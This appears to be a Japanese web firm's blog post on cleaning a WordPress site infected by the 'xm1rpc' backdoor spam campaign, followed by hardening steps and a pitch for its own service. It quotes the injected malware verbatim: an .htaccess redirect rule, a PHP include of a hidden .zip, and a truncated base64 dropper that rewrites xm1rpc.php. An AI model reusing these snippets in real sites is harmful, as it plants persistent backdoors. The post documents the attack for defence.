WPへのウィルス・マルウエア
問題 → 仮説 → 実施 → 検証
WordPressがマルウエア・ウィルスに感染してソース部分をセキュリティソフトで検証しても、ウィルスが発見されないケースがあります。マルウエアは通常のスクリプトなので、結局、目視で削除(1,000ページ超え)しました。
その後、WordPressに対策をしてアタック状況を継続してチェック(記録をとる)しました。一度、ハッキングされると、セキュリティが緩いサイトして認識され、ブラックマーケットでドメイン、アクセスURL、IDとパスワードが、販売されたりするのでしょう!驚くほどの大量のアタック発生します。
こういった場合アクセス元のIPをプロテクト(all in one wp security)、ログインLock Downを設定(解除までの時間も6時間とかにしました。通常は60分です)、管理画面へのログインURLを変更。などのアクションが必須です。
弊社の体験した問題について、海外のサイトでは、
PosizionamentoSEOWordPress: SEO spam mediante backdoor e file xm1rpcより抜粋
Da Sucuri ci spiegano un nuovo metodo per effettuare attacchi spam, a livello di Black Hat SEO particolarmente cattiva, su siti WordPress non aggiornati.
Il metodo è quello di realizzare delle backdoor, grazie all’iniezione di alcuni file sul sito preso di mira, dopo aver recuperato gli accessi mediante attacco bruteforce.
Security researchers discovered a search engine spam campaign that plays on WordPress administrators'use of the XML-RPC infrastructure. The campaign, dubbed "XM1RPC" by Sucuri researchers,injects malicious files into WordPress websites' root directories.
The attacks use code injection to infect sites with a backdoor script, according to the security firm’s blog post. The campaign leverages the “xm1rpc.php” file name, a misspelling of the WordPress XML-RPC interface, to inject websites built with the open-source tool. The XML-RPC interface (using the “xmlrpc.php” script) enables the WordPress API functionality.
(ざっくり訳すと)セキュリティ研究者は、WordPress管理者がXML-RPCインフラストラクチャを使用していることに起因する検索エンジンスパムキャンペーンを発見しました。 Sucuriの研究者によって「XM1RPC」と呼ばれるこのキャンペーンは、WordPress Webサイトのルートディレクトリに悪意のあるファイルを挿入します。
セキュリティ会社のブログ投稿によると、攻撃はコードインジェクションを使用してバックドアスクリプトでサイトに感染します。 このキャンペーンは、WordPress XML-RPCインターフェースのスペルミスである「xm1rpc.php」ファイル名を活用して、オープンソースツールで構築されたWebサイトを挿入します。 XML-RPCインターフェース(「xmlrpc.php」スクリプトを使用)は、WordPress API機能を有効にします。(ざっくり訳ここまで)
こんな感じで、以下と同じ問題が発生して対処している。これらのウィルス(?)マルウエア(?)は、DDoS攻撃とbruteforce攻撃だそうです。
いろいろ検索してみました(当時)が日本での検証例はなく、特異な症例だったのかも知れません。
( 顕在化した問題 )
- htaccessに、以下の記述が追加される。
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^.*$ index.php [L]
</IfModule> - index.php(第一階層にある)に以下の記述が追記される。この改行やスペース間もそのままにしています。
------
<?php error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7o133a51c2bddc5c68874ce.zip"); ?>
----
上記のスペースですが、エディタで開いて、右側で折り返す設定をしないと表示されないためかと思います。(私見) - 第一階層に、xm1rpc.php というファイルが生成される。(似たファイル名のxmlrpc.phpというファイルはWordPressに存在している。1とlが違う。)
- 第一階層に、4bb0a250f62548654e50c3d29c4b6096.zip といったファイルが生成される。ファイル名はすべてユニーク、独自ということです。つまりサーバ内検索しても見つけられないのです。
- プラグインのphpファイル全てに、以下のような記述が追記されます。
-----
<?php $localpath = getenv("SCRIPT_NAME"); $absolutepath = getenv("SCRIPT_FILENAME"); $root_path = substr($absolutepath, 0, strpos($absolutepath, $localpath)); $xml = $root_path . '/xm1rpc.php'; if (!file_exists($xml) || file_exists($xml) && (filesize($xml) < 3000) || file_exists($xml) && (time() - filemtime($xml) > 60 * 60 * 1)) { file_put_contents($xml, ___bdec('PD9waHAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC(まだ続きます)
----- - これらを継続して削除しても、しばらくすると生成や追記されている。
( 仮説 )
- 削除しても、上記記述を生成されるので、同じ記述がシステム内に存在しいてるのでは?
- もしくは、外部サイトにアクセスして、何かデータを取り込んでいるのでは?
- WordPressシステム内に、何か追記やファイルの追加がされているのでは?
- FTPやWPログインからアタックされ、ログインされているのでは?
( 実施 )
- WordPressでの発生だったので、wp-adminとwp-includesをまっさらな最新ファイルに置き換え。つまり、問題が想定されるのでファイル全てを削除の後、最新ファイルをアップロード。ポイントは、いったん削除の後、正規のシステムファイルをアップロードする。
- プラグインを全てftpで削除→新規にインストール。
- 問題の1.2.の中の記述を、wp-content内でgrepしました。同様に問題3.のファイル名もgrepしてみました。
- eval( )が何でも外部コマンドを実行するそうなので、wp-content内をgrepしてみた。
参考にしたのは、
https://dogmap.jp/2016/05/10/post-3258/ - wp-admin、wp-includesにも何か書き換えやファイルの追加が発生している事もかんがえられるので、オリジナルとの相違をチェックしました。(新規インストールしてますが安全の為と何か解決の手がかりが見つかるのでは?と考えて)
使用したツールは、WinMerge
http://www.geocities.co.jp/SiliconValley-SanJose/8165/winmerge.html
こらです。フォルダ全体でチェックが可能でした。 - xm1rpc.phpファイルのパーミッションを000にする事で、これ以上ファイルが生成されないのでは?
- ログイン関係一式を新しく、しかも定期的にパスワード変更→チームで共有。
( 検証 )
- 上記実施3.4.は、見つからず。
- 実施5.は、以下のファイルの追加と書き換えがありました。
ファイル追加:wp-includes/index.php
ファイル書き換え:wp-includes/load.php
対応)追加されたファイルは削除、書き換えられたファイルは、オリジナルに書き換え。これらファイル内に、<IfModule(htaccessに記載される内容) と xm1rpc(生成される不明なファイル) の記述がありました。 - 5.をさらに、themeにもおこないました。
header.php
が書き換えられていました。しかも、このファイルにはトロイの木馬ウィルス反応がありました。(PCで使用しているセキュリティソフトで)
対応)オリジナルに書き換え。 - 実施6.は、パーミッションが、しばらくすると戻ってしまいました。
( さらに仮説 )
- FTPやWordPressログインから、ファイルの書き換えが実施されているのでは?
- 我々の未発見の問題ファイルがあり、何かのアクション(アクセスなど)でサーバ内にファイルの追加やファイル書き換えが実施されているのでは?
- WordPressログインは、キャッシュが残っている場合、IDとPasswordが不要でログインできてしまうので、この部分の対応も重要では?(これは、Crazy Boneでの不正と思われるアクセスログが現象しているのに問題が継続したので)
- uploadされている画像にもウィルスが記述されるている可能性がある。
参考にしたサイト(他もあります)
http://securityblog.sonydna.com/blog/security-measure/archives6/
( さらに実施 )
- FTPやWordPressログインパスワードの再設定、高度化。実際のユーザーさんには、管理方法の提案やウィルスソフトの使用とマシンスキャンなどの提案。
こういった内容を提案しました。 - WordPres管理画面から、プラグインを含むファイルの追加や書き換えをできない設定にした。
wp-config.php
/** ファイル編集できなくする */
define('DISALLOW_FILE_EDIT', true);
define('DISALLOW_FILE_MODS', true );
上記を追記。 - header.phpとfooter.phpのパーミッションを400に変更。
- アップロードされた画像ファイル(膨大にありました1万ファイルくらいはあったかな)の撮影情報の記述を消滅させる事で安全化できるらしいので、実行しました。
撮影情報の削除には、ファイル型式の変更でいけるようでしたので、jpg→png(32bit)に変換して、これをさらにjpgにもどす。pngは一端jpg(高解像度)にして、そのjpg→pngに、gifも同様の作業。
※)このpngを32bitにしているのは、jpgの持つ写真のグラデーションを失わないため。 - 追加対応)wp-adminにbasic認証。
- ログインにLockDown以外にCaptchaを設定。
これで現状は、48時間(この文章を書いている時点)、怪しいファイルの生成や書き換えは発生していない。(追記:既に10日ほど問題なし)
しかし、こう書いてみると短く簡単に思われるかと思いますが、仮説→検証は、10回くらいしたような、つまり仮説→検証で、結果がでない、イコール仮説がだめ。この繰り返し。
そもそも上記の生成されるspamファイル名や内部の記述でネット検索しても、まず情報はなく、ここに至るまで、相当の時間がかかりました。(つまり、新しい事例なのか?)
「さらに仮説の3.」は、未実施。
( 現時点でざっくりとした感触 )
管理画面からのファイルとpluginの書き換えを禁止したら、敵さんからのアクションが停止しました。もしかしたら、Pluginを含む管理画面から編集可能なファイルにバックドアをしかける。その上で、wp-adminやwp-includesにファイルを追加したり追記して増殖を図り、そこから、外部のサイトへのアタックだったのでしょうか?(あくまで推察)
やはり、ログインIDとパスワードの管理ですね。簡単なパスワードを使い回したりするのはよくないです。仮に、定期的に変更していても、過去に使用していたパスワードですと、簡単にログインされてしまうのではとも感じました。
spamアタックでトライするログインIDが過去に設定していたIDになるケースが多かったので、どこかネットの闇市場で、IDと想定されるパスワードが出回ったのかもしれません。
BlackList設定して特定のIPからの管理画面へのアクセスを遮断すると、敵さんは、IPアドレスを毎回変更してきました。そこで、*(アスタリスク)にして、IPアドレスのレンジを広げることにしました。
つまり、192.168.100.100 (これは仮のIPで、イントラのIPですが)を、192.168.100.* にすると、末尾のブロックの1から255までのレンジでプロテクトができます。
自分は、大丈夫、つまり、自分のPCやMacはウィルスに感染していないという過信がよくないようにも感じました。弊社のお客さんで、マシンが不調になったので、マイクロソフトにリモートでチェックをお願いしましたところ140を超えるウィルスが検出されたそうです。
その会社さん、セキュリティソフトは入れていた様ですが、こういった結果になってしまいました。
( セキュリティソフトに関する考え方 )
そもそも、ウィルスは、日々世界中で、開発されていて日々世界に流れ出しています。これを、セキュリティソフトの会社さんは、発見→解析→対策→配布、を継続して行っている訳です。
これは、高額なセキュリティソフトも、フリーのソフトも同じです。こう言うと、必ず言われるのが「だったら、フリーので充分じゃない」。でも、何が違うのかというとスピードなのです。
タイムラインで考えてみてください。新種のウィルスが発生した。即、その日のうちに対応(対応パッチを適応)した、というセキュリティソフトの会社と、一ヶ月後に対策対応したセキュリティ会社さん。当然、前者のスタイルでないと困ります。対策されるまでに、大量ウィルスが飛散され問題が顕在化する恐れがありますし、またウィルスによって、サイトの攻撃とかも想定されます。
なので、前者が有料で優秀なセキュリティソフトで、後者はフリーのセキュリティソフトだったりします。そこに価格の差があるのですが、両者とも、ウィルス検出率としては、90%(数字は自信がありません)とか公表したりします。ただ、これは一か月後の検出力なのです。
ウィルスやマルウエア発生、直後の検出率ではないのです。
つまり、ウィルスやマルウエアが流布した、即、対応してプロテクトされる、これが理想です。一か月後にプロテクトできても拡散している可能性が高い、ということなのです。
これらのトラブル経験からサイトの管理運営を最適化したサービス「DtA Web Master」を始めました。
DtA Web Master